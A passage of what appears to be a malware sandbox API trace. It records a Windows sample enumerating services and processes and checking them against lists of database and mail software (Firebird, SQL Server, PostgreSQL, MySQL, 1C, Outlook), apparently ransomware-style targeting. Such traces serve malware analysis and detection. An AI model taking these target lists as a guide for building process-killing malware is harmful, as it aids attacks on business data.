lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623720 [0268.996] EnumServicesStatusExW (in: hSCManager=0x4623720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0268.996] GetLastError () returned 0xea [0268.996] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x46151a8 [0268.996] EnumServicesStatusExW (in: hSCManager=0x4623720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46151a8, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46151a8, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0268.997] CloseServiceHandle (hSCObject=0x4623720) returned 1 [0268.997] lstrlenW (lpString="Appinfo") returned 7 [0268.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0268.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0268.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0268.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0268.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0268.997] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.997] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.997] lstrlenW (lpString="AudioSrv") returned 8 [0268.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0268.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0268.997] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0268.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0268.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0268.998] lstrlenW (lpString="BFE") returned 3 [0268.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.998] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.998] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.998] lstrlenW (lpString="CryptSvc") returned 8 [0268.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0268.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0268.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0268.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0268.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0268.998] lstrlenW (lpString="CscService") returned 10 [0268.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0268.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0268.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0268.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0268.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0268.998] lstrlenW (lpString="DcomLaunch") returned 10 [0268.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.998] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.998] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.998] lstrlenW (lpString="Dhcp") returned 4 [0268.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.998] lstrlenW (lpString="Dnscache") returned 8 [0268.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.999] lstrlenW (lpString="DPS") returned 3 [0268.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0268.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0268.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0268.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0268.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0268.999] lstrlenW (lpString="eventlog") returned 8 [0268.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0268.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0268.999] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0268.999] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0268.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0268.999] lstrlenW (lpString="EventSystem") returned 11 [0268.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.999] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.999] lstrlenW (lpString="gpsvc") returned 5 [0268.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.999] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.999] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.999] lstrlenW (lpString="iphlpsvc") returned 8 [0269.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.000] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0269.000] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0269.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0269.000] lstrlenW (lpString="LanmanServer") returned 12 [0269.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0269.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0269.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0269.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0269.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0269.000] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.000] lstrlenW (lpString="lmhosts") returned 7 [0269.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.000] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.000] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.000] lstrlenW (lpString="MMCSS") returned 5 [0269.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0269.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0269.000] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0269.000] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0269.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0269.000] lstrlenW (lpString="MpsSvc") returned 6 [0269.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.000] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.001] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.001] lstrlenW (lpString="Netman") returned 6 [0269.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0269.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0269.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0269.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0269.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0269.001] lstrlenW (lpString="netprofm") returned 8 [0269.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0269.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0269.001] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0269.001] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0269.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0269.001] lstrlenW (lpString="NlaSvc") returned 6 [0269.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.001] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.001] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.001] lstrlenW (lpString="nsi") returned 3 [0269.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.001] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.001] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.001] lstrlenW (lpString="PcaSvc") returned 6 [0269.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0269.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0269.001] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0269.001] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0269.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0269.001] lstrlenW (lpString="PlugPlay") returned 8 [0269.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.002] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.002] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.002] lstrlenW (lpString="Power") returned 5 [0269.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.002] lstrlenW (lpString="ProfSvc") returned 7 [0269.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.002] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.002] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.002] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.002] lstrlenW (lpString="RpcSs") returned 5 [0269.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.002] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.002] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.002] lstrlenW (lpString="SamSs") returned 5 [0269.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.003] lstrlenW (lpString="Schedule") returned 8 [0269.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.003] lstrlenW (lpString="SENS") returned 4 [0269.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.003] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.003] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.003] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.003] lstrlenW (lpString="Spooler") returned 7 [0269.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.003] lstrlenW (lpString="SysMain") returned 7 [0269.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0269.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0269.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0269.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0269.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0269.003] lstrlenW (lpString="Themes") returned 6 [0269.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0269.004] lstrlenW (lpString="TrkWks") returned 6 [0269.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0269.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0269.004] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0269.004] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0269.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0269.004] lstrlenW (lpString="UxSms") returned 5 [0269.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0269.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0269.004] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0269.004] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0269.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0269.004] lstrlenW (lpString="WdiServiceHost") returned 14 [0269.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0269.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0269.004] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0269.004] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0269.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0269.004] lstrlenW (lpString="WdiSystemHost") returned 13 [0269.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0269.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0269.004] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0269.004] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0269.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0269.004] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0269.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0269.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0269.004] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0269.004] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0269.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0269.004] lstrlenW (lpString="Winmgmt") returned 7 [0269.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0269.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0269.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0269.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0269.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0269.005] lstrlenW (lpString="WPDBusEnum") returned 10 [0269.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0269.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0269.005] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0269.005] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0269.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0269.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46151a8 | out: hHeap=0x540000) returned 1 [0269.005] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x40c [0269.006] Process32FirstW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.006] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.006] lstrlenW (lpString="System") returned 6 [0269.006] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0269.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0269.006] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0269.006] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0269.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0269.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0269.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0269.006] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.007] lstrlenW (lpString="smss.exe") returned 8 [0269.007] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0269.007] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.007] lstrlenW (lpString="csrss.exe") returned 9 [0269.007] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.007] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.007] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0269.007] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.008] lstrlenW (lpString="wininit.exe") returned 11 [0269.008] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0269.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0269.008] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0269.008] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0269.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0269.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0269.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0269.008] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.008] lstrlenW (lpString="csrss.exe") returned 9 [0269.008] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.008] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.008] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.008] Process32NextW (in: hSnapshot=0x40c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, 